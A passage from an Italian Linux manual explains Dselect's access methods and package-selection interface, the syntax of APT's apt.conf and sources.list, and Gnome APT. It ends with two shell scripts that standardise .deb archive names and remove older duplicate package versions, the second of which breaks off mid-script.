Il metodo di accesso corrispondente alla sigla '**`multi_cd`**' è quello più comune, data l'attuale dimensione di una distribuzione Debian completa, che impone la riproduzione su diversi dischi. Scegliendo tale modalità di installazione, in questa fase, si deve inserire l'**ultimo** dei dischi che compongono la distribuzione. Dopo aver selezionato il dispositivo (esattamente come nel caso del metodo '**`cdrom`**'), occorre indicare dove iniziano le distribuzioni. Quindi, non è più come prima: occorre indicare la directory all'interno della quale poi si può trovare la gerarchia '`dists/`'.

```
  All directory names should be entered relative to the root of the CD-ROM.

  I would like to know where on the CD-ROM the top level of the Debian
  distribution is - this will usually contain the 'dists' directory.

  If the CD-ROM is badly organised and doesn't have a straightforward copy of
  the distribution you may answer 'none' and we'll go through the parts
  I need individually.
  Last time you said '/debian', and that looks plausible.


Distribution top level ?  [/debian]
```

Così come propone Dselect, si tratta della directory '`/debian/`', sempre intesa come riferita all'inizio del disco stesso. In questo caso basta confermare premendo [*Invio*].

```
Distribution top level ?  [/debian] [Invio]

  Ok, this is Debian GNU/Linux 2.1 "slink" - disco 2 di 2.

  Using '/debian/dists/stable/main/binary-i386' as main binary dir
        from disk 'Debian GNU/Linux 2.1 "slink" - disco 2 di 2'
  Using '/debian/dists/stable/main/binary-i386/Packages.cd.gz' for main.
  Using '/debian/dists/stable/contrib/binary-i386' as contrib binary dir
        from disk 'Debian GNU/Linux 2.1 "slink" - disco 2 di 2'
  Using '/debian/dists/stable/contrib/binary-i386/Packages.cd.gz' for contrib.
  Using '/debian/dists/stable/non-free/binary-i386' as non-free binary dir
        from disk 'Debian GNU/Linux 2.1 "slink" - disco 2 di 2'
  Using '/debian/dists/stable/non-free/binary-i386/Packages.cd.gz' for non-free.
  Using '/debian/dists/stable/non-US/binary-i386' as non-US binary dir
        from disk 'Debian GNU/Linux 2.1 "slink" - disco 2 di 2'
  Using '/debian/dists/stable/non-US/binary-i386/Packages.cd.gz' for non-US.
  Using '/debian/dists/local/local/binary-i386' as local binary dir
        from disk 'Debian GNU/Linux 2.1 "slink" - disco 2 di 2'
  Using '/debian/dists/local/local/binary-i386/Packages.cd.gz' for local.


Hit RETURN to continue.
```

Anche in questo caso sarebbe bene che il disco fosse organizzato esattamente come si

aspetta Dselect, altrimenti si è costretti a inserire i percorsi delle directory e dei file 'Packages.cd.gz'. Si osservi in particolare, che rispetto al metodo '**cdrom**', in questo caso si utilizzano i file 'Packages.cd.gz' e non più i file 'Packages.gz'. Al termine, si torna al menù principale.

Hit RETURN to continue.[*Invio*]

7.9.5 Accesso attraverso un file system di rete

I metodi '**nfs**' e '**multi_nfs**' permettono di accedere a un file system NFS che non è stato ancora innestato. Potrebbe trattarsi di un elaboratore che offre in condivisione l'accesso al suo lettore di dischi ottici, che comunque, lì, deve essere stato innestato. A differenza dei metodi che coinvolgono il lettore di dischi ottici locale, si deve aggiungere l'indicazione del nome o dell'indirizzo dell'elaboratore che offre l'accesso attraverso il protocollo NFS.

Nel primo caso Dselect si aspetta di trovare una distribuzione unica e completa, per cui servono i file 'Packages.gz', mentre nel secondo si tratta di dati che possono cambiare (per esempio perché viene sostituito il disco nell'elaboratore remoto), per cui contano i file 'Packages.cd.gz'.

7.9.6 Accesso attraverso un file system già innestato localmente

I metodi '**mounted**' e '**multi_mount**' sono riferiti a una distribuzione accessibile all'interno del file system, dove Dselect non deve occuparsi di innestare dei dischi.

Nel primo caso si deve trattare di una distribuzione unica e completa, per cui Dselect va a cercare i file 'Packages.gz', mentre nel secondo si tratta di dati che possono cambiare (per esempio perché si interviene per mezzo di collegamenti simbolici), per cui contano i file 'Packages.cd.gz'.

7.9.7 Accesso attraverso APT

Il metodo '**apt**' corrisponde all'utilizzo degli strumenti offerti dal sistema APT (in questo caso si usa precisamente '**apt-get**'). In effetti, quando si dispone di una distribuzione accessibile attraverso APT, questa è la scelta migliore, dal momento che basta configurare il file '/etc/apt/sources.list' per risolvere il problema con Dselect.

Dselect propone di modificare il file, ma sarebbe bene che questo fosse già predisposto correttamente prima di iniziare, in modo da poter confermare semplicemente la configurazione attuale:

```
 see you already have a source list.
------------------------------------------------------------------------
deb file:/home/tizio/DEBIAN/1/debian stable main contrib non-free non-US local
deb file:/home/tizio/DEBIAN/2/debian stable main contrib non-free non-US local
------------------------------------------------------------------------
```

Do you wish to change it?[y/N]

In questo caso, la distribuzione si trova suddivisa in due parti, a partire dalle directory '/home/tizio/DEBIAN/1/debian/' e '/home/tizio/DEBIAN/2/debian/'. Per confermare, basta premere [*Invio*], dal momento che '**n**' (no) è la scelta predefinita.

`Do you wish to change it?[y/N]` [*Invio*]

7.9.8 Aggiornamento dell'elenco locale dei pacchetti

La fase successiva richiede di aggiornare l'elenco dei pacchetti disponibili selezionando la seconda voce del menù iniziale (quella con il numero uno).

```
    1. [U]pdate      Update list of available packages, if possible.
```

Questa operazione non richiede un'interazione con l'utilizzatore. Al massimo si può verificare che sia terminata o meno con successo, in base ai messaggi che si possono leggere.

7.9.9 Selezione dei pacchetti

Si passa quindi alla fase più complessa: quella della selezione dei pacchetti da installare o da disinstallare.

```
    2. [S]elect      Request which packages you want on your system.
```

Prima di mostrare la schermata di selezione dei pacchetti, data la complessità della cosa, Dselect presenta una guida, di cui si vede la schermata iniziale nella figura 7.41.

Figura 7.41. Introduzione alla guida interna di Dselect per la selezione dei pacchetti da installare.

```
Help: Introduction to package selections########################################
Welcome to dselect's main package listing.

You will be presented with a list of packages which are installed or available
for installation.  You can navigate around the list using the cursor keys,
mark packages for installation (using '+') or deinstallation (using '-').
Packages can be marked either singly or in groups; initially you will see that
the line 'All packages' is selected.  '+', '-' and so on will affect all the
packages described by the highlighted line.

Some of your choices will cause conflicts or dependency problems; you will be
given a sub-list of the relevant packages, so that you can solve the problems.

You should read the list of keys and the explanations of the display.
Much on-line help is available, please make use of it - press '?' at
any time for help.

When you have finished selecting packages, press <enter> to confirm changes,
or 'Q' to quit without saving changes. A final check on conflicts and
dependencies will be done - here too you may see a sublist.

Press <enter> to leave help and enter the list now.


Press ? for help menu, <space> for next topic, <enter> to exit help.###########
```

In pratica, si esce da questa guida premendo [*Invio*], mentre si possono scorrere le varie pagine di informazioni premendo la [*barra-spaziatrice*]. Per richiamare questa guida durante la selezione dei pacchetti, basta premere il punto interrogativo, [*?*], o il tasto [*F1*].

Dopo avere superato la schermata di presentazione della guida si ottiene finalmente il pannello di selezione dei pacchetti (figura 7.42).

Figura 7.42. Pannello di selezione dei pacchetti.

```
dselect - main package listing (status, priority)    mark:+/=/- verbose:v help:?
EIOM Pri Section  Package      Inst.ver    Avail.ver   Description
    - All packages -
    --- Installed packages ---
    ----- Installed Required packages -----
    ------- Installed Required packages in section base -------
 *** Req base     adduser      3.8         3.8         Add users and groups to t
 *** Req base     ae           962-21.1    962-21.1    Anthony's Editor -- a tin
 *** Req base     base-files   2.1.0       2.1.0       Debian Base System Miscel
 *** Req base     base-passwd  2.0.3.3     2.0.3.3     Debian Base System Passwo
 *** Req base     bash         2.01.1-4.1  2.01.1-4.1  The GNU Bourne Again SHel
 *** Req base     bsdutils     4.4.1.1     4.4.1.1     Basic utilities from 4.4B
 *** Req base     debianutils  1.10        1.10        Miscellaneous utilities s
bash         installed;  install (was: install).  Required
bash - The GNU Bourne Again SHell

Bash is an sh-compatible command language interpreter that executes
commands read from the standard input or from a file.  Bash also
incorporates useful features from the Korn and C shells (ksh and csh).

Bash is ultimately intended to be a conformant implementation of the IEEE
Posix Shell and Tools specification (IEEE Working Group 1003.2).


#### description of bash #######################################################
```

Prima di mettersi a selezionare i pacchetti, occorre comprendere come «muoversi» in questa fase. Per cominciare, si deve osservare che la schermata dovrebbe apparire divisa in due parti, come si vede nella figura, dove nella parte superiore appare un cursore (che in questa figura non si vede, ma è posizionato sul pacchetto '**bash**') e nella parte inferiore appare la descrizione di ciò che si trova in corrispondenza del cursore.

Il cursore si sposta, «intuitivamente», utilizzando i tasti: [*freccia-su*], [*freccia-giù*], [*pagina-su*], [*pagina-giù*], [*Inizio*] e [*Fine*]. Alle volte, non riuscendo a leggere tutte le informazioni (come nel caso dell'esempio), è possibile spostare la visualizzazione in orizzontale, utilizzando i tasti [*freccia-sinistra*] e [*freccia-destra*].

```
EIOM Pri Section  Package      Inst.ver    Avail.ver   Description
```

In condizioni normali, l'intestazione dell'elenco è piuttosto oscura. I primi quattro caratteri rappresentano rispettivamente: uno stato di errore, lo stato del pacchetto installato, la selezione precedente e la selezione attuale. La tabella 7.44 raccoglie queste sigle e mostra i simboli che possono essere abbinati nelle colonne rispettive; la tabella 7.45 mostra invece il significato dei simboli che possono essere attribuiti a questi indicatori.

Tabella 7.44. Indicatori di un pacchetto.

Indicatore	Significato	Valori possibili
E	Stato di errore	spazio, R
I	Stato di installazione	spazio, *, –, U, C, I
O	Selezione precedente	*, –, =, _, n
M	Selezione attuale	*, –, =, _, n

Tabella 7.45. Simboli riferiti agli indicatori e loro significato.

Indicatore	Simbolo	Significato
E	spazio	Nessun errore grave.
E	R	Errore grave: reinstallare.
I	spazio	Non installato.
I	*	Installato regolarmente.
I	– (meno)	Ci sono solo i file di configurazione.
I	U	Estratto, ma non configurato.
I	C	Semi-configurato: si è verificato un errore.
I	I	Semi-installato: si è verificato un errore.
O, M	*	Segnato per l'installazione o l'aggiornamento.
O, M	– (meno)	Segnato per la rimozione, lasciando la configurazione.
O, M	=	Segnato per non essere toccato (*hold*).
O, M	_ (trattino basso)	Segnato per l'eliminazione totale.
O, M	n	Il pacchetto è nuovo e non è stato stabilito nulla.

La selezione dei pacchetti avviene intervenendo sull'ultimo di questi indicatori, «M», dove però si utilizzano tasti differenti rispetto ai simboli che si usano per rappresentarne la selezione. La tabella 7.46 mostra questi tasti e il risultato che se ne ottiene.

Tabella 7.46. Tasti di selezione dei pacchetti.

Tasto di selezione	Effetto
[+], [*Ins*]	Richiede l'installazione o l'aggiornamento del pacchetto.
[-], [*Canc*]	Richiede la disinstallazione del pacchetto lasciando la configurazione.
[_]	Richiede l'eliminazione totale del pacchetto.
[=], [*H*]	Richiede che il pacchetto venga congelato (*hold*).
[:], [*G*]	Toglie lo stato di pacchetto congelato.

Le colonne successive indicano: la priorità del pacchetto, generalmente in forma abbreviata, la sezione, ovvero il raggruppamento a cui questo risulta abbinato, il nome del pacchetto, la versione installata, la versione disponibile e infine la descrizione.

L'aspetto di questo pannello di selezione può essere cambiato; in particolare si possono ottenere le descrizioni estese dei primi quattro indicatori, così come della colonna della priorità, utilizzando il tasto [*v*]; in modo simile, il tasto [*V*] serve a mostrare più o meno colonne di informazioni. Oltre a questo è possibile cambiare il genere di informazioni che appaiono nella parte inferiore dello schermo, che si riferiscono al pacchetto evidenziato dal cursore, oppure è possibile dedicare tutto lo schermo all'elenco o solo alla descrizione del pacchetto. Questi tasti sono elencati nella tabella 7.47.

Tabella 7.47. Tasti per il controllo della visualizzazione del pannello di selezione.

Tasto	Effetto
[*i*]	Cambia il tipo di informazione che appare nella parte inferiore dello schermo.
[*I*]	Dedica lo schermo solo all'elenco o solo alla descrizione.
[*o*], [*O*]	Cambiano l'ordine dell'elenco dei pacchetti.
[*v*]	Espande o contrae le prime colonne.
[*V*]	Seleziona la visualizzazione di alcune colonne finali.

Vale la pena di osservare in che modo è possibile cambiare ordine all'elenco dei pacchetti visualizzati. Con il tasto [*O*] si individuano alcune forme di raggruppamento globale:

- Installato o meno ---> obsoleto, aggiornato;
- Installato, rimosso, eliminato o mai installato;
- nessuna classificazione.

Con il tasto [*o*] si definiscono delle sotto-classificazioni ulteriori:

- priorità ---> sezione;
- sezione ---> priorità;
- nessuna classificazione.

È molto importante selezionare la combinazione giusta dell'ordine in cui vengono classificati i pacchetti, altrimenti ci si perde alla loro ricerca. Tuttavia, fortunatamente, è possibile eseguire una ricerca rapida di un pacchetto il cui nome contiene una stringa data. Si ottiene questo con il tasto [/], che permette di inserire la stringa e di premere [*Invio*] per avviare la ricerca; mentre con il tasto [\ ] si ripete la ricerca con l'ultimo modello inserito.

Tabella 7.48. Funzionalità varie.

Tasto	Effetto
[/]	Cerca in base a una stringa.
[\ ]	Ripete la ricerca.
[*Ctrl l*]	Ripulisce l'immagine sullo schermo.
[*?*], [*F1*]	Richiama la guida interna.

Quando si seleziona o si deseleziona un pacchetto e questo fatto comporta delle ripercussioni sugli altri, perché occorre soddisfare in qualche modo delle dipendenze, o delle incompatibilità, viene presentato un sotto-pannello riepilogativo dei pacchetti coinvolti in queste dipendenze, in cui si offre una soluzione del problema. Il funzionamento di questi sotto-pannelli è identico a quello principale; ciò che conta è comprendere che ogni pannello ha un suo contesto e solo quando si giunge alla conferma delle selezioni fatte su quello generale, si esce da questa fase di utilizzo di Dselect.

Figura 7.49. Nel momento in cui viene rivelato un problema di dipendenze, si presenta questa guida, dalla quale si esce premendo [*Invio*].

```
Help: Introduction to conflict/dependency resolution sub-list
Dependency/conflict resolution - introduction.

One or more of your choices have raised a conflict or dependency problem -
some packages should only be installed in conjunction with certain others, and
some combinations of packages may not be installed together.

You will see a sub-list containing the packages involved.  The bottom half of
the display shows relevant conflicts and dependencies; use `i' to cycle between
that, the package descriptions and the internal control information.

A set of `suggested' packages has been calculated, and the initial markings in
this sub-list have been set to match those, so you can just hit Return to
accept the suggestions if you wish.  You may abort the change(s) which caused
the problem(s), and go back to the main list, by pressing capital `X'.

You can also move around the list and change the markings so that they are more
like what you want, and you can `reject' my suggestions by using the capital
`D' or `R' keys (see the keybindings help screen).  You can use capital `Q' to
force me to accept the situation currently displayed, in case you want to
override a recommendation or think that the program is mistaken.

Press <enter> to leave help and enter the sub-list; remember: press `?' for help.
Press ? for help menu, <space> for next topic, <enter> to exit help.
```

Figura 7.50. Esempio di un sotto-pannello di selezione per risolvere un problema di dipendenze o di incompatibilità.

```
dselect - recursive package listing              mark:+/=/- verbose:v help:?
EIOM Pri Section  Package      Description
  ** Opt non-free unzip        De-archiver for .zip files
  *_ Opt non-us/u unzip-crypt  De-archiver for .zip files
  *_ Opt non-us/u zip-crypt    Archiver for .zip files









unzip        not installed;  install (was: install).  Optional
unzip conflicts with unzip-crypt










interrelationships affecting unzip
```

In generale, quando si sta operando con un pannello, o un sotto-pannello di selezione, con il tasto [*Invio*] si confermano le scelte fatte, a patto che siano state rispettate le dipendenze, mentre per annullare le selezioni si usa il tasto [*R*] (si veda la tabella 7.51). Al termine si torna al menù iniziale.

Tabella 7.51. Conferma o ripristino delle selezioni in un pannello.

Tasto	Effetto
[*Invio*]	Conferma le scelte fatte e chiude la selezione nel pannello corrente.
[*Q*]	Impone le scelte fatte indipendentemente dalle dipendenze che vengono violate.
[*X*], [*Esc*]	Abbandona le modifiche ed esce.
[*R*]	Ripristina allo stato precedente del pannello attuale.
[*U*]	Pone tutto allo stato suggerito.
[*D*]	Pone tutto allo stato richiesto espressamente.

7.9.10 Installazione e aggiornamento dei pacchetti selezionati

Il passo successivo è l'installazione dei pacchetti che sono stati indicati per questo nella fase precedente.

```
    3. [I]nstall     Install and upgrade wanted packages.
```

L'installazione prevede anche la configurazione, per cui inizia qui una procedura che può risultare anche abbastanza lunga, durante la quale bisogna essere sempre pronti a rispondere

alle domande che vengono fatte. In generale, quando si aggiorna un pacchetto o lo si installa, mentre sono presenti ancora i file di configurazione vecchi, questi vengono mantenuti ed eventualmente gli vengono affiancati i file nuovi con un'estensione differente ('.dpkg-dist').[10]

Dal momento che un pacchetto può avere anche delle «pre-dipendenze» che possono impedirgli l'installazione se prima non è già stato installato qualcos'altro, può darsi che l'installazione debba essere ripetuta più volte per riuscire a installare tutto ciò che è stato richiesto.

7.9.11 Configurazione

Dopo l'installazione si può richiedere espressamente la configurazione dei pacchetti che per qualche motivo non sono stati configurati nel passaggio precedente.

```
    4. [C]onfig      Configure any packages that are unconfigured.
```

7.9.12 Cancellazione dei pacchetti

Infine, si può richiedere la rimozione o l'eliminazione dei pacchetti segnati per questo nella fase di selezione.

```
    5. [R]emove      Remove unwanted software.
```

7.10 APT

APT[11] è un sistema di gestione dei pacchetti Debian più evoluto di Dselect, per il quale sono disponibili diversi programmi frontali.

Tutto il sistema si avvale di due file di configurazione: '/etc/apt/apt.conf' e '/etc/apt/sources.list'. Il secondo di questi due file serve a stabilire la fonte da cui attingere per installare i pacchetti, mentre il primo è un file di configurazione generale.

Quando si utilizzano programmi interattivi che sfruttano la console, se si dispone soltanto di uno schermo monocromatico occorre ricordarsi di intervenire sulla variabile di ambiente ***TERM***, in modo che questa contenga un nome di un terminale monocromatico (potrebbe trattarsi del nome '**vt100**' o '**vt220**', basta verificare nella directory '/usr/share/terminfo/v/'), altrimenti può essere faticoso interpretare o leggere le informazioni.

7.10.1 Configurazione generale

Come già accennato, i file di configurazione più importanti del sistema APT sono '/etc/apt/apt.conf' e '/etc/apt/sources.list'. Per entrambi questi file vengono ignorate le righe bianche e quelle vuote, mentre cambia il modo di rappresentare i commenti: per '/etc/apt/sources.list' si rappresentano precedendoli con il simbolo '**#**', mentre '/etc/apt/apt.conf' ignora quanto contenuto tra '**/***' e '***/**', oppure quanto preceduto da '**//**'.

Le direttive del file '/etc/apt/apt.conf' sono organizzate a gruppi e sottogruppi, secondo una forma simile a quella seguente:

```
gruppo::sottogruppo::opzione valore_assegnato;
```

In pratica, il valore che si assegna alla direttiva complessiva può essere una stringa delimitata da apici doppi, oppure senza delimitazione se questo non è necessario.

Per evitare di dover riscrivere ogni volta il gruppo e il sottogruppo di un insieme di direttive, si può usare una notazione alternativa:

```
gruppo {
    sottogruppo {
        opzione valore_assegnato;
        opzione valore_assegnato;
        ...
    }
    sottogruppo {
        opzione valore_assegnato;
        opzione valore_assegnato;
        ...
    }
    ...
}
```

La classificazione in gruppi e sottogruppi serve a definire il contesto a cui riferire le opzioni, permettendo uno sviluppo indipendente della configurazione da parte dei programmi che compongono il sistema APT.

In generale non dovrebbe essere necessario modificare il file '`/etc/apt/apt.conf`'; a ogni modo, la pagina di manuale *apt.conf(5)* descrive bene i vari gruppi e sottogruppi, mentre sono disponibili degli esempi nella directory '`/usr/share/doc/apt/`'.

Il file '`/etc/apt/sources.list`' serve a definire come raggiungere i pacchetti della distribuzione. Si distinguono due situazioni: pacchetti Debian binari e pacchetti Debian sorgenti.

```
deb uri percorso_distribuzione [componente]...
```

```
deb-src uri percorso_distribuzione [componente]...
```

A seconda che si tratti di pacchetti binari o sorgenti, la direttiva deve iniziare con la parola chiave '**`deb`**' oppure '**`deb-src`**'.

Queste direttive servono a definire il percorso necessario a raggiungere i pacchetti, come se fossero scritte nel modo seguente:

uri/percorso_distribuzione/componente_1

uri / ***percorso_distribuzione*** / ***componente_2***
uri / ***percorso_distribuzione*** / ***componente_3***
...

Per esempio, se la distribuzione è raggiungibile presso *`http://ftp.it.debian.org/debian/stable/`* che poi si articola nelle directory '`main/`', '`contrib/`' e '`non-free/`', la direttiva potrebbe essere espressa nel modo seguente:

```
deb http://ftp.it.debian.org/debian stable main contrib non-free
```

Nello stesso modo, se ciò può risultare più chiaro, si potrebbero utilizzare tre direttive come nell'esempio seguente, avendo cura di indicare il punto finale che rappresenta la directory corrente:

```
deb http://ftp.it.debian.org/debian stable/main          .
deb http://ftp.it.debian.org/debian stable/contrib       .
deb http://ftp.it.debian.org/debian stable/non-free      .
```

Nell'ambito dei percorsi che si indicano in queste direttive, si può usare la stringa '**`$(ARCH)`**', che viene rimpiazzata con la sigla della propria architettura.

Gli URI possono essere indicati in diversi modi, che vengono elencati nel seguito.

- `file:`***percorso_assoluto*** | `file://`***percorso_assoluto***

  Permette di fare riferimento a una distribuzione accessibile nell'ambito del file system. Il percorso assoluto inizia con la barra obliqua, per cui si possono avere URI del tipo '**`file:/uno/due`**', oppure '**`file:///uno/due`**' indifferentemente.

- `copy:`***percorso_assoluto*** | `copy://`***percorso_assoluto***

  Si tratta di una variante del tipo '**`file`**', in cui si prevede di copiare i file nella memoria di transito, costituita normalmente dalla directory '`/var/cache/apt/archives/`'. Alcuni programmi come Aptitude potrebbero avere difficoltà ad accedere a un URI del tipo '**`file`**', preferendo invece questa seconda alternativa.

- `http://`***nodo*** [`:`***porta***] [`/`***percorso***]

  `ftp://`***nodo*** [`:`***porta***] [`/`***percorso***]

  Si tratta di un accesso a un servizio HTTP o FTP.

Esiste anche un altro tipo di URI, che inizia con la parola chiave '**`cdrom`**', allo scopo di fare riferimento a distribuzioni su CD-ROM o DVD-ROM. Tuttavia, le direttive di questo tipo sono troppo complesse e vanno realizzate con l'aiuto del programma '**`apt-cdrom`**'.

7.10.2 Gnome APT

Gnome APT,[12] è un applicativo grafico per la gestione dei pacchetti secondo il sistema APT. Il funzionamento del programma è molto intuitivo e le voci del menù sono organizzate in modo logico. La figura 7.57 mostra come potrebbe presentarsi all'avvio (eseguibile '**`gnome-apt`**').

Figura 7.57. Gnome APT.

La finestra sul lato destro elenca i pacchetti in una struttura ad albero, secondo la classificazione in gruppi e l'ordinamento determinato attraverso le funzioni accessibili dal menù *`View`*. Nella figura si vede una struttura a gruppi di tipo alfabetico che può essere cambiata agevolmente secondo altre caratteristiche dei pacchetti.

L'apertura delle voci dell'elenco si ottiene facendo un clic con il primo tasto del mouse (quello sinistro), puntando sulla casellina antecedente ogni nome. Se la voce rappresenta un gruppo di pacchetti, si visualizza il ramo di pacchetti o di sottogruppi; se la voce è un pacchetto, si ottiene l'elenco delle dipendenze (che a loro volta possono avere altre dipendenze). Così come si apre un ramo, si può richiudere, facendo nuovamente un clic con il primo tasto del mouse.

Facendo un clic con il primo tasto del mouse su un nome dell'elenco, lo si seleziona. Se si tratta di un pacchetto, sul riquadro a sinistra appaiono le informazioni disponibili su di esso.

Facendo un clic con il terzo tasto (quello destro) quando si punta su un nome dell'elenco, appare un menù a scomparsa con le azioni che possono essere applicate alla voce relativa. Se si tratta di un pacchetto può essere selezionata l'azione da compiere.

Le colonne che contengono le informazioni dei pacchetti elencati, possono essere spostate e omesse. In condizioni normali, le prime tre colonne, evidenziate dalle sigle '**`D`**', '**`K`**' e '**`I`**', contengono dei pulsanti di selezione, con cui è possibile, rispettivamente: disinstallare, mantenere o installare un pacchetto. Mantenere un pacchetto può significare il non disinstallarlo oppure il non aggiornarlo, a seconda del contesto.

Dal menù *`Action`* è possibile accedere a due funzioni molto importanti: l'aggiornamento dell'elenco dei pacchetti, con la voce *`Update`*; l'avvio dell'esecuzione delle richieste sull'installazione, aggiornamento e disinstallazione dei pacchetti, attraverso la voce *`Complete run`*.

7.11 Approfondimento: raccolta di pacchetti Debian

La distribuzione Debian, per la sua natura collaborativa, è molto dinamica e nel susseguirsi delle sue edizioni viene prodotta una grande quantità di pacchetti aggiornati. Data la dimensione che ha la distribuzione, è improbabile che si riesca ad averne sempre una copia completa; piuttosto è facile trovare nelle riviste dei CD-ROM o dei DVD-ROM con questo o quel gruppo di applicativi, più o meno aggiornati. Volendo realizzare una propria copia locale della distribuzione (su disco fisso, o su dischi rimovibili), occorre realizzare qualche script per gestire un po' meglio la cosa.

7.11.1 Composizione del nome degli archivi Debian

Il nome degli archivi Debian è organizzato secondo la struttura seguente:

{***nome_del_pacchetto***}_{***versione_e_revisione***} [***_architettura***] `.deb`

Come si vede, la parte finale, che specifica l'architettura per la quale è predisposto un archivio, potrebbe anche essere omessa, se il contesto rende implicita l'informazione.

Alle volte, per qualche ragione, il nome degli archivi che si trovano in circolazione non è conforme a questo modello; tuttavia, con l'aiuto delle informazioni contenute negli archivi stessi, è possibile riprodurre il nome standard. I comandi seguenti, che utilizzano '**`dpkg`**', permettono di ottenere le informazioni necessarie a ricostruire il nome di un archivio Debian:

- `dpkg --field` ***archivio*** `package`

  restituisce il nome del pacchetto;

- `dpkg --field` ***archivio*** `version`

  restituisce la stringa che rappresenta la versione e la revisione del pacchetto.

- `dpkg --field` ***archivio*** `architecture`

  restituisce la stringa che rappresenta l'architettura per cui è fatto il pacchetto.

Quello che segue è l'esempio di uno script in grado di scandire gli archivi contenuti nella directory corrente, allo scopo di modificarne il nome se questo non corrisponde al modello standard. La scansione viene fatta in due fasi, per verificare alla fine quali archivi non sono stati corretti (una copia di questo file, dovrebbe essere disponibile presso ⟨*allegati/debian-nomi* ⟩).

```
#!/bin/sh
##
## debian-nomi
##
```

```
## Interviene nella directory *corrente* correggendo i nomi degli
## archivi che sembrano non essere coerenti. Si utilizza in particolare:
##
##       dpkg --field <archivio> package
##       dpkg --field <archivio> version
##       dpkg --field <archivio> architecture
##
#
# Inizializza le variabili di ambiente che servono per accumulare
# i valori per il confronto.
#
ARCHIVIO=""
PACCHETTO=""
VERSIONE=""
ARCHITETTURA=""
NOME_CORRETTO=""
#
# Inizia il ciclo di scansione degli archivi Debian che si trovano
# nella directory corrente.
# Prima fase silenziosa.
#
for ARCHIVIO in *.deb
do
    #
    # Se il nome è «*.deb», non ci sono file del genere.
    #
    if [ "$ARCHIVIO" = "*.deb" ]
    then
        #
        # Non si fa nulla.
        #
        exit
    fi
    #
    # Estrae il nome del pacchetto.
    #
    PACCHETTO=`dpkg --field $ARCHIVIO package`
    #
    # Estrae la versione del pacchetto.
    #
    VERSIONE=`dpkg --field $ARCHIVIO version`
    #
    # Estrae la sigla dell'architettura.
    #
    ARCHITETTURA=`dpkg --field $ARCHIVIO architecture`
    #
    # Compone il nome teorico.
    #
```

```
    NOME_CORRETTO="${PACCHETTO}_${VERSIONE}_${ARCHITETTURA}.deb"
    #
    # Confronta con il nome dell'archivio.
    #
    if [ "$NOME_CORRETTO" != "$ARCHIVIO" ]
    then
        #
        # I nomi sono differenti.
        # Modifica il nome solo se è possibile.
        #
        echo "n" | mv -i "$ARCHIVIO" "$NOME_CORRETTO" 2> /dev/null
    fi
done
#
# Inizia il ciclo di scansione degli archivi Debian che si trovano
# nella directory corrente.
# Seconda fase di verifica.
#
for ARCHIVIO in *.deb
do
    #
    # Estrae il nome del pacchetto.
    #
    PACCHETTO=`dpkg --field $ARCHIVIO package`
    #
    # Estrae la versione del pacchetto.
    #
    VERSIONE=`dpkg --field $ARCHIVIO version`
    #
    # Estrae la sigla dell'architettura.
    #
    ARCHITETTURA=`dpkg --field $ARCHIVIO architecture`
    #
    # Compone il nome teorico.
    #
    NOME_CORRETTO="${PACCHETTO}_${VERSIONE}_${ARCHITETTURA}.deb"
    #
    # Confronta con il nome dell'archivio.
    #
    if [ "$NOME_CORRETTO" != "$ARCHIVIO" ]
    then
        #
        # A quanto pare, il nome di questo archivio non è stato
        # corretto.
        #
        echo "Non è stato possibile correggere il nome dell'archivio"
        echo "$ARCHIVIO, che dovrebbe chiamarsi $NOME_CORRETTO."
        echo
```

```
    fi
done
#
```

7.11.2 Eliminazione delle versioni precedenti

La versione di un pacchetto è composta da due parti: la versione (vera e propria) e la revisione. Si tratta di due stringhe unite da un trattino:

```
versione-revisione
```

In generale, non è facile confrontare questi valori e per fortuna viene in aiuto '**dpkg**' che è in grado di affermare quale sia più recente. In pratica, si utilizza uno dei comandi seguenti, per determinare se una versione è maggiore, minore o uguale all'altra:

```
dpkg --compare-versions versione1 gt versione2
```

```
dpkg --compare-versions versione1 lt versione2
```

```
dpkg --compare-versions versione1 eq versione2
```

Lo script seguente serve a scandire gli archivi Debian contenuti nella directory corrente, allo scopo di eliminare quelli che contengono uno stesso pacchetto ma di una versione precedente a quanto già disponibile. Durante la scansione, si presume che i nomi degli archivi siano composti correttamente, in modo tale che gli archivi di uno stesso pacchetto si trovino di seguito, nella sequenza alfabetica (una copia di questo file, dovrebbe essere disponibile presso ⟨*allegati/debian-doppi*⟩).

```
#!/bin/sh
##
## debian-doppi
##
## Interviene nella directory *corrente* eliminando i file doppi,
## più vecchi. Il confronto viene fatto utilizzando:
##
##       dpkg --field <archivio> package
##       dpkg --field <archivio> version
##       dpkg --field <archivio> architecture
##       dpkg --compare-versions <versione1> eq <versione0>
##       dpkg --compare-versions <versione1> gt <versione0>
##       dpkg --compare-versions <versione1> lt <versione0>
##
```

```
#
# Inizializza le variabili di ambiente che servono per accumulare
# i valori per il confronto.
#
ARCHIVIO0=""
ARCHIVIO1=""
PACCHETTO0=""
PACCHETTO1=""
VERSIONE0=""
VERSIONE1=""
ARCHITETTURA0=""
ARCHITETTURA1=""
#
# Inizia il ciclo di scansione degli archivi Debian che si trovano
# nella directory corrente.
#
for ARCHIVIO1 in *.deb
do
    #
    # Se il nome è «*.deb», non ci sono file del genere.
    #
    if [ "$ARCHIVIO1" = "*.deb" ]
    then
        #
        # Non si fa nulla.
        #
        exit
    fi
    #
    # Estrae il nome del pacchetto.
    #
    PACCHETTO1=`dpkg --field $ARCHIVIO1 package`
    #
    # Estrae la versione del pacchetto.
    #
    VERSIONE1=`dpkg --field $ARCHIVIO1 version`
    #
    # Estrae l'architettura.
    #
    ARCHITETTURA1=`dpkg --field $ARCHIVIO1 architecture`
    #
    # Confronta con il pacchetto precedente.
    #
    if [ "$PACCHETTO1" == "$PACCHETTO0" ]
    then
        if dpkg --compare-versions "$VERSIONE1" eq "$VERSIONE0"
        then
            #
```

```
            # Si tratta di un'anomalia in cui si deve intervenire a
            # mano.
            #
            echo "Gli archivi seguenti hanno la stessa versione:"
            echo "    $ARCHIVIO0"
            echo "    $ARCHIVIO1"
            echo
            #
            # In questo caso, non occorre spostare i valori nelle
            # variabili.
            #
        elif dpkg --compare-versions "$VERSIONE1" gt "$VERSIONE0"
        then
            #
            # Si elimina l'archivio del pacchetto più vecchio.
            #
            rm -f "$ARCHIVIO0"
            echo "Eliminato $ARCHIVIO0"
            #
            # Sposta i valori nelle variabili.
            #
            ARCHIVIO0="$ARCHIVIO1"
            PACCHETTO0="$PACCHETTO1"
            VERSIONE0="$VERSIONE1"
            ARCHITETTURA0="$ARCHITETTURA1"
            #
        elif dpkg --compare-versions "$VERSIONE1" lt "$VERSIONE0"
        then
            #
